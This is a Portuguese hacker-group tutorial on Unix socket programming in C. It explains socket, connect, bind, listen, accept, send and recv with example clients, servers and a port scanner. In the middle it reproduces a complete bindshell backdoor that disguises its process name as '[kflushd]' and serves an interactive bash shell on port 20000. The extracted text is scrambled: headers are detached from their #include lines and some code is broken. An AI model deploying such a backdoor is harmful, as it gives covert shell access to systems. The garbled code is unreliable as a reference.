Você está na página 1de 17

U N S E K U R I T Y

T E A M

Desenvolvido por Cs0 <uhbcso@base.com.br> Este tutorial e qualquer outro material do grupo unsek pode ser encontrado na homepage do grupo: http://unsekurity.virtualave.net/

Unix Sockets -------------Parte I

Indice 1 2 3 4 5 * * * * * Observacoes Introducao Funcoes, usos e definicoes Bibliografia Agradecimentos

Observacoes =========== Este tutorial, bem como qualquer outro que eu vier a escrever, nao se responsabiliza pelo seu mau uso ou mau aprendizado. Tao pouco eh escrito para a "elite" ou para "kiddies". Nao pretendo escrever amplamente sobre o assunto, se voce pretende algo mais procure outros materias na hp do unsekurity ou outros grupos. Nao tenha somente esse txt como base de seu estudo. Pesquise sobre o assunto em outros pontos de referencia, manpages, outros textos ou consulte informacoes DDD :) ************** * Introducao * ============== Sockets sao programas responsaveis pela comunicacao de outros programas na internet. Quando voce estabelece conexao com algum computador, na verdade voce esta usando um socket. Os sockets sao divididos em 'tipos'. Dos varios tipos de sockets, vamos abordar apenas 2, SOCK_STREAM e SOCK_DGRAM, onde trabalharemos com TCP e UDP respectivamente. A programacao de sockets eh facilitada ao maximo por alguns headers: observe a lista abaixo: #include #include #include #include <sys/types.h> <sys/sockets.h> <netinet/in.h> <netdb.h>

Caso necessite de mais headers (algumas situacoes exigem), consulte a manpage da funcao que voce deseja utilizar. Manpages servem para isso mesmo! ****************************** * Funcoes, usos e definicoes * ============================== Declarando e usando sockets =========================== Os sockets sao usados da mesma maneira que voce usa os arquivos. Nos arquivos voce declara um FILE *fp; e trata o fp como se fosse o proprio arquivo que seu programa meche. Nos sockets, voce declara atraves de um simples int -> int meusocket; e usa como um arquivo. #includes main () { int sock; } Da mesma forma que, quando voce cria o ponteiro *fp voce linka-o para o arquivo desejado, voce devera tambem linkar o socket para a "conexao desejada". a funcao que faz essa ligacao eh a socket () socket (familia, tipo, protocolo); familia: PF_UNIX, PF_LOCAL, PF_INET, PF_INET6, PF_IPX, PF_NETLINK, PF_X25, PF_AX25 PF_ATMPVC, PF_APPLETALK, PF_PACKET, AF_INET, AF_UNIX, AF_ISO, AF_NS dessas muitas possibilidades, nos vamos trabalhar com AF_INET que eh a familia mais usada, pois trata de conexoes via internet ;) tipos: SOCK_STREAM, SOCK_DGRAM, SOCK_SEQPACKET, SOCK_RAW, SOCK_RDM, SOCK_PACKET desses nos vamos trabalhar com 2 SOCK_STREAM e SOCK_DGRAM protocolo: ip 0 icmp 1 igmp 2 ggp 3 tcp 6 pup 12 udp 17 idp 22 raw 255 -> TCP -> UDP IP ICMP IGMP GGP TCP PUP UDP IDP RAW # # # # # # # # # internet protocol, pseudo protocol number internet control message protocol internet group multicast protocol gateway-gateway protocol transmission control protocol PARC universal packet protocol user datagram protocol WhatsThis? RAW IP interface

ai esta a lista de protocolos, vamos trabalhar na nossa funcao com esses numeros listados. No caso vamos usar apenas o IP (0). /* Mano, voce ve que esse assunto eh tao extenso que fica bem claro que esse texto muito limitado diante dele. */ entao jah podemos contruir nosso socket: #includes main () { int sock; sock = socket (AF_INET, SOCK_STREAM, 0); //caso queira usar UDP, basta alterar a segunda opcao: //sock = socket (AF_INET, SOCK_DGRAM, 0); } Pronto mano, jah sabemos construir um socket. Agora vamos passar para a proxima fase Definindo estrutura da conexao ============================== Os dados do host na conexao sao definidos atraves de uma estrutura (struct). A struct usada para conexoes via internet eh a sockaddr_in. vejamos abaixo como ela eh definida: struct sockaddr_in { short int sin_family; unsigned short int sin_port; struct in_addr sin_addr; unsigned char sin_zero[8]; }

Familia Porta IP Zera a estrutura

agora vejamos a struct in_addr, definida na struct acima: struct in_addr { unsigned long s_addr; } * funcao htons e htonl * como diz a manpage: * htonl, htons, ntohl, ntohs - converte valores entre host * e network por ordem. Ou em outras palavras: converte o numero em si em valor de rede ex: htons (80); 80 eh um numero int (inteiro) mas a funcao "transforma" o numero 80 em "porta 80". Entao vamos ao exemplo pratico de como construir uma estrutura de conexao:

#includes main () { int meusocket; struct sockaddr_in minharede; meusocket = socket (AF_INET, SOCK_STREAM, 0); minharede.sin_family = AF_INET; => familia minharede.sin_port = htons (80); => funcao htons jah vista (abri a porta 80) minharede.sin_addr.s_addr = inet_addr ("192.168.0.1"); => IP bzero(&(minharede.sin_zero),8); => zera o resto da struct } Vamos analizar as funcoes novas: bzero () e inet_addr () inet_addr (), falando de modo curto e grosso, converte a string IP em IP. Ou seja, inet_addr ("192.168.0.1"); converte o "192.168.0.1" em IP 192.168.0.1 bzero () eh uma funcao que escreve zeros para uma string. No nosso caso, serve para zerar o resto da struct. void bzero (void *s, int n); pega os primeiros "n" bytes da string apontada em s e muda-os para zero. Jah sabemos montar uma estrutura de conexao e iniciar um socket, entao vamos passar para uma nova fase: funcao connect () ================= Essa funcao eh a responsavel por estabelecer uma conexao. Sua sintaxe eh: connect (socket, estrutura de conexao , tamanho da estrutura); exemplo: #includes main () { int sock; struct sockaddr_in network; sock = socket (AF_INET, SOCK_STREAM, 0); bzero ((char *)&network); //Zerei a struct

network.sin_family = AF_INET; network.sin_port = htons (23); //Telnet ;) network.sin_addr.s_addr = inet_addr ("127.0.0.1"); connect (sock, (struct sockaddr *)&network, sizeof (network)); }

pronto, ate ai jah estabelecemos conexao. para incrementar nosso programa, vamos utilizar alguns acessorios: 1: #include <errno.h> funcao perror () e x e m p l o: int sock; sock = socket (AF_INET, SOCK_STREAM, 0); if (sock == -1) { perror ("Socket Error"); exit (-1); } Se nao puder abrir socket, o programa cai e o sistema mostra a mensagem de erro. 2: gethostbyname () ================ As vezes voce nao quer digitar o IP da vitma, prefere digitar o dominio. Essa funcao permite que se utilize o dominio em vez do ip ex: #include <netdb.h> struct hostent * gethostbyname (char *name); "name" eh o ponteiro que deve ser apontado para o dominio A funcao retorna um ponteiro para uma struct hostent. A estrutura esta definida abaixo: struct hostent { char *h_name; char **h_aliases; int h_addrtype; int h_length; char **h_addr_list; }; => eh como se fosse um "print error"

/* /* /* /* /*

Nome oficial do host */ Lista de aliases */ Tipo de endereco do host */ Tamanho do endereco */ Lista de enderecos vindos do seridor de nomes */

e o array h_addr_list possui como primeiro endereco h_addr, que retorna o IP. Ou seja, ela faz o processo inverso Nome de dominio -> Endereco IP. (Caso tenha duvidas, consulte um livro de TCP/IP ou textos na homepage do unsekurity team ou qualquer outro grupo que preste ;)) getservbyport () ================ Traduzindo o nome dela: get service by port - Obtendo servico por porta.

Isso quer dizer que essa funcao retorna qual servico esta rodando na porta. #include <netdb.h> struct servent *getservbyport(int port, const char *proto); struct servent { char *s_name; char **s_aliases; int s_port; char *s_proto; } Vamos a um exemplo, um programinha q retorna o IP do host #include #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <string.h> <errno.h> <sys/socket.h> <sys/types.h> <netdb.h> <netinet/in.h>

/* /* /* /*

Nome oficial do servico */ lista de aliases */ numero da porta */ protocolo que voce precisa usar para conectar-se ao servico */

main (int argc, char * * argv) { struct hostent *he; int sock; if (argc < 2) { printf ("Use %s <host>\n\n", argv [0]); exit (0); } sock = socket (AF_INET, SOCK_STREAM, 0); //Nao precisa, mas eh bom ilustrar if (sock == -1) { perror ("Socket"); exit (0); } he = gethostbyname (argv [1]); if (he == NULL) { herror("Erro"); exit(1); } printf("IP: %s\n",inet_ntoa(*((struct in_addr *)he->h_addr))); } Este programa nao tem nada de util, mas como estamos aprendendo ainda, vamos ter calma e continuar nosso pequeno curso.

Este texto nao eh voltado para a elite, aki voce nao vai encontrar material de alto nivel, tao pouco linguagens tecnicas. Todo ele foi feito com o interesse voltado para o publico newbie. Entenda: Newbie eh akele que busca informacoes para crecer, no entanto, ainda esta no inicio. Newbie eh diferente de lamer, q sao os caras q jah chegam contando mil vantagens esperando serem aceitos ou serem famosos. Eles so enganam os pobres newbies e os outros lamers. Por isso, cuidado mano! se voce se gaba muito nos chats ou nos foruns, eh bom se olhar no espelho e refletir se voce esta sendo um lamer! Acredito que o publico que chegou ateh aki, nao esta interessado em receitas de bolo ou exploits feitos pelo grupo x, ou o y, ou z, ou o w, ou o Lords of num sei o q. Acredito que voce quer continuar sozinho e escrever seus proprios. vamos a outro exemplo /* Simples portscan com uso da funcao connect () para efeito demonstrativo Desenvolvido por Cs0 */ #include #include #include #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <string.h> <sys/socket.h> <sys/types.h> <netinet/in.h> <arpa/inet.h> <unistd.h> <netdb.h> <errno.h>

#define ERRO -1 main (int argc, char * * argv) { struct hostent *he; struct servent *portserv; struct sockaddr_in network; int sock, portas, startport, endport, resp; if (argc < 4) { printf ("Use %s <host> <startport> <endport>\n\n", argv [0]); exit (0); } /* Definindo valores */ portas = 0; startport = atol (argv [2]); endport = atol (argv [3]); //Estruturas de conexao jah estudadas

for (portas = startport; portas <= endport ; portas++) { he = gethostbyname (argv [1]); if (he == NULL) { herror ("Scan"); exit(ERRO); } sock = socket (AF_INET, SOCK_STREAM, 0); if (sock == -1) { perror ("Socket"); exit (0); } bzero ((char *)&network, sizeof (network)); network.sin_family = he->h_addrtype; network.sin_port = htons (portas); network.sin_addr = *(struct in_addr *)he->h_addr; resp = connect (sock, (struct sockaddr_in *)&network, sizeof (network)); if (resp == ERRO) { } else { portserv = getservbyport (htons(portas),"tcp"); if (portserv != NULL) { printf ("%d - %s\n", portas, portserv->s_name); } else { printf ("%d - %s\n", portas, "Desconhecido"); } } close (sock); } } Este portscan eh bem ruim, mas com ele podemos ilustrar bem as funcoes gethostbyname (), getservbyport () e a funcao connect (). Ate aqui nos jah aprendemos a declarar um socket e a usa-lo para se conectar a um servidor. Agora resta-nos saber como mandar strings atraves dessa conexao e como fazer nosso proprio servidor. Manos, essa parte exige um pouco de atencao: Ponha aquela MP3 para tocar, beba um pouco de cafe, arrume a poltrona [:)] e maos `a obra! Iremos comecar aprendendo a montar um servidor para receber uma conexao do nosso proprio client ;). Sao muitas as possibilidades para atividades fucadoras q esse estudo trara. Criatividade eh a arma mais forte. bind () =======

Bind serve para unir um nome ao socket que voce abriu. Para que fique bem claro, observe abaixo: IP do servidor: 200.234.56.43 IP do cliente: 200.245.34.133 Para que o cliente localizado em 200.245.34.133 se comunique com um programa (servidor) localizado em 200.234.56.43, eh necessario que os dois se comuniquem por um canal em comum: uma porta. Conexoes telnet sao feitas normalmente pela porta 23, ftp pela 21, http pela 80 etc.... A diferenciacao entre os tipos de servico estah pela porta que este abre. Entao se eu for mandar uma mensagem para o servidor, esta tem q ir por uma porta aberta no sistema, especifica para aquele programa servidor. A funcao bind () faz o papel de abrir a porta no sistema. Estando claro isso, vamos prosseguir: A sintaxe da bind () eh: int bind (socket, estrutura de conexao (local), tamanho da estrutura); estrutura de conexao (local): Diferentemente das outras funcoes, aqui voce vai utilizar uma struct inetaddr_in local, ou seja, a struct devera ser voltada para a maquina local. ex: struct sockaddr_in local; local.sin_family = AF_INET; local.sin_port = htons (80); local.sin_addr.s_addr = inet_addr ("127.0.0.1"); //ou = INETADDR_ANY Nosso codigo do servidor esta assim: #includes #define PORTA 2003 main () { int sock; struct sockaddr_in local; sock = socket (AF_INET, SOCK_STREAM, 0); bzero ((char *)&local, sizeof (local)); local.sin_family = AF_INET; local.sin_port = htons (PORTA); local.sin_addr.s_addr = INETADDR_ANY; bind (sock, (struct sockaddr *)&local , sizeof(local)); listen () ========= Esta funcao faz com que um socket aguarde por conexoes. Sua sintaxe eh:

listen (socket, numero maximo de conexoes); ex: int sock; sock = socket (AF_INET, SOCK_STREAM, 0); (...) listen (sock, 3); /* apenas 3 clients podem se conectar nesse socket. */ accept () ========= Estabelece conexoes em um socket. Ela cria um novo socket com as mesmas propriedades do socket anterior do seu programa e aloca um novo "int socket" para a nova conexao. Veja o exemplo: int sock, newSock, // Este sera o novo socket tamanho; sock = socket (AF_INET, SOCK_STREAM, 0); (...) tamanho = sizeof (struct sockaddr); listen (sock, 3); newSock = accept (sock, (struct sockaddr_in *)&remote, &tamanho); Como voce pode ver a sintaxe eh: novo socket = accept (socket, estrutura de conexao, tamanho); Vejamos agora como esta nosso servidor: #includes #define PORTA 2003 main () { int sock, newSock, tamanho; struct sockaddr_in local, network; sock = socket (AF_INET, SOCK_STREAM, 0); bzero ((char *)&local, sizeof (local)); local.sin_family = AF_INET; local.sin_port = htons (PORTA); local.sin_addr.s_addr = INETADDR_ANY; bind (sock, (struct sockaddr *)&local , sizeof(local)); listen (sock, 3); tamanho= sizeof (network); newSock = accept (sock, (struct sockaddr *)&network, &tamanho);

close (sock); }

/* nao eh mais necessario o socket antigo, a conexao * * jah foi estabelecida com o client */

Podemos tirar proveito disso construindo uma backdoor simples, basta acrescentar o uso das funcoes dup2 (); e execl (); Um exemplo bem pratico se encontra no tutorial de sockets (parte I) do nash leon (coracaodeleao) tambem disponivel na homepage do grupo. Eis ai o exemplo: Esse programa copia uma shell p/ uma determinada porta,ele eh amplamente difundido na Internet com o nome de bindshell,mas possui muitas variacoes, p/ propositos educacionais eu criei uma backdoor baseada nesse programa, de modo que tornasse mais claro o nosso aprendizado. /* Backdoor em Socket simples...by Nash Leon Thanks Ramona e Unsekurity Team. nashleon@yahoo.com.br http://unsekurity.virtualave.net Compile usando: $gcc -o back back.c */ #include #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <errno.h> <strings.h> <netinet/in.h> <sys/socket.h> <sys/types.h> <signal.h>

#define MINHA_PORTA 20000 #define BACKLOG 5 int main(int argc, char *argv[]) { int Meusocket, Novosocket, tamanho; struct sockaddr_in local; struct sockaddr_in remote; /* Cria um processo crianca ou menor, p/ nao necessitar executar usando & */ if(fork() == 0){ /* Aqui segue a esperteza..se alguem der ps aux,top, ou ver os processos que estao rodando verah o que estah copiado abaixo,no caso [kflushd], mude isso conforme o sistema onde serah executada a backdoor */ strcpy(argv[0], "[kflushd]"); signal(SIGCHLD, SIG_IGN); /* Criando a estrutura local(servidor) */ bzero(&local, sizeof(local)); local.sin_family = AF_INET;

local.sin_port = htons(MINHA_PORTA); local.sin_addr.s_addr = INADDR_ANY; bzero(&(local.sin_zero), 8); /* Declaracao do socket(),bind() e listen() */ Meusocket=socket(AF_INET, SOCK_STREAM, 0); bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr)); listen(Meusocket, BACKLOG); tamanho = sizeof(struct sockaddr_in); /* O velho while(1) p/ ser usado com nosso novo accept() */ while(1) { if((Novosocket=accept(Meusocket, (struct sockaddr *)&remote,&tamanho)) { perror("accept"); exit(1); } if(!fork()) { close(0); close(1); close(2); /* dup2() aqui eh usado p/ criar uma copia de Novosocket */ dup2(Novosocket, 0); dup2(Novosocket, 1); dup2(Novosocket,2); /* Entao a shell eh executada,nesse caso uma bash Mude-a p/ qualquer uma que quiser, e atencao ao parametro -i, nem todas aceitam shell interativa */ execl("/bin/bash","bash","-i", (char *)0); close(Novosocket); exit(0); } } } return(0); } Ate aqui nosso programa jah estabelece conexao com o client. Mas ainda nao tem nenhuma utilidade pratica. Para servir a algum proposito, eh necessario que seja trocado informacoes entre os programas. Vejamos agora entao como mandar e receber strings: Mandando e recebendo strings **************************** send () ======= Usada para enviar uma mensagem para um socket. Sua sintaxe eh: int Send (socket, *mensagem, tamanho da mensagem, parametros adicionais)

parametros adicionais podem ser: #define #define #define #define MSG_OOB MSG_DONTROUTE MSG_DONTWAIT MSG_NOSIGNAL 0x1 0x4 0x40 0x2000 /* /* /* /* process out-of-band data*/ bypass routing, usedirect interface */ don't block */ don't raise SIGPIPE */

MSG_OOB - Envia mensagens Out-Of-banda (OOB) - fora de banda - para sockets que suportam esse tipo de mensagem. Esse tipo de parametro eh o calcanhar de aquiles do Windows 95, que trava com uma mensagem OOB (famoso winnuke) MSG_DONTROUTE - Usado como debugador, para encontrar problemas MSG_DONTWAIT - Permite operacoes "non-blocking" MSG_NOSIGNAL - Nao manda SIGPIPE em erros em sockets stream quando o outro endereco quebra a conexao. exemplo de utilizacao: char cso [] = "Elite: fora daqui! ;)" (...) send (newSock, cso, sizeof (cso), 0); //Sem parametros adicionais recv () ======= Usada para receber mensagens de um socket. Sua sintaxe eh: int recv (socket, *buffer, tamanho, flags); flags podem ser: MSG_OOB, MSG_PEEK, MSG_WAITALL, MSG_ERRQUEUE, MSG_NOSIGNAL. Como nao nos interessa no momento, vamos deixar essa parte para outros tutoriais. Vamos a um exemplo pratico: Servidor que recebe strings enviadas pelo client na porta 20032 #include #include #include #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <string.h> <errno.h> <sys/socket.h> <sys/types.h> <arpa/inet.h> <netdb.h> <netinet/in.h> <sys/wait.h>

#define PORTA 20032 #define ERRO -1 #define TAMMAX 250

//tamanho maximo da string

main () { struct sockaddr_in network, local; int sock, newSock, resp, strucsize; char msgbuffer [TAMMAX]; sock = socket (AF_INET, SOCK_STREAM, 0); if (sock == ERRO) { perror ("Socket"); exit (0); } bzero ((char *)&local, sizeof (local)); local.sin_family = AF_INET; local.sin_port = htons (PORTA); local.sin_addr.s_addr = INADDR_ANY; strucsize = sizeof (local); resp = bind (sock, (struct sockaddr *)&local, strucsize); if (resp == ERRO) { perror ("Bind"); exit (0); } listen (sock, 5); newSock = accept (sock, (struct sockaddr *)&network, &strucsize); if (newSock == ERRO) { perror ("Accept"); exit (0); } fprintf (stdout, "Recebendo conexao de: %s\n", inet_ntoa (network.sin_addr)); for (;;) { recv (newSock, msgbuffer, TAMMAX, 0); fprintf (stdout, "\nMensagem Recebida: %s\n", msgbuffer); if (!strcmp (msgbuffer, "exit")) { exit (0); } } } E agora, um cliente para o servidor acima: #include <stdio.h> #include <stdlib.h>

#include #include #include #include #include #include #include #include

<string.h> <errno.h> <sys/socket.h> <sys/types.h> <arpa/inet.h> <netdb.h> <netinet/in.h> <sys/wait.h>

#define PORTA 20032 #define ERRO -1 #define TAMMAX 250

//tamanho maximo da string

main (int argc, char * * argv) { struct sockaddr_in network; int sock, newSock, resp, strucsize; char msg [TAMMAX]; if (argc < 2) { printf ("Use %s <host>\n\n", argv [0]); exit (0); } sock = socket (AF_INET, SOCK_STREAM, 0); if (sock == ERRO) { perror ("Socket"); exit (0); } bzero ((char *)&network, sizeof (network)); network.sin_family = AF_INET; network.sin_port = htons (PORTA); network.sin_addr.s_addr = inet_addr (argv [1]); strucsize = sizeof (network); resp = connect (sock, (struct sockaddr *)&network, strucsize); if (resp == ERRO) { perror ("Connect"); exit (0); } fprintf (stdout, "Conectado em %s\n", argv [1]); for (;;) { printf ("\nMensagem: "); scanf ("%250s", &msg);

send (sock, msg, sizeof (msg), 0); if (!strcmp (msg, "exit")) { exit (0); } } } Aih esta mano, agora nos sabemos criar uma conexao e enviar/receber dados. Agora resta-nos usar nossa criatividade e trabalhar em cima desse novo conhecimento. Vamos dar continuidade ao nosso estudo aprendendo duas novas funcoes read () e write () write () ======== Tambem eh usada para enviar mensagens para um socket. Sua sintaxe eh: int write (socket, *buffer, tamanho utilizado do buffer); ex: write (sock, msg, strlen (msg)); /* Voce pode substituir a funcao send () no programa acima por esta. */ read () ======= Assim como recv (), eh usada para ler mensagens enviadas de um socket. Sua sintaxe eh igual a da funcao write (): int read (socket, *buffer, tamanho utilizado do buffer); ex: read (sock, msg, strlen (msg)); /* Voce pode substituir a funcao recv () no programa acima por esta. */ **************** * Bibliografia * ================ Beej tutorial Exemplo de backdoor Manpages ****************** * Agradecimentos * ================== Agradecimentos ao pessoal do Unsekurity team: Nash Leon, module, psych, xf86config, e-brain, raynox, t[rex], klogd, xcarioca e segfault. E tambem aos leitores dos nossos textos. Agradeco a elite por se manter longe dos meus txts e aos lamers por nao se http://www.ecst.csuchico.edu/~beej/guide/net http://unsekurity.virtualave.net/txts/sockets.txt

interessarem em ler isso ;). C s e0f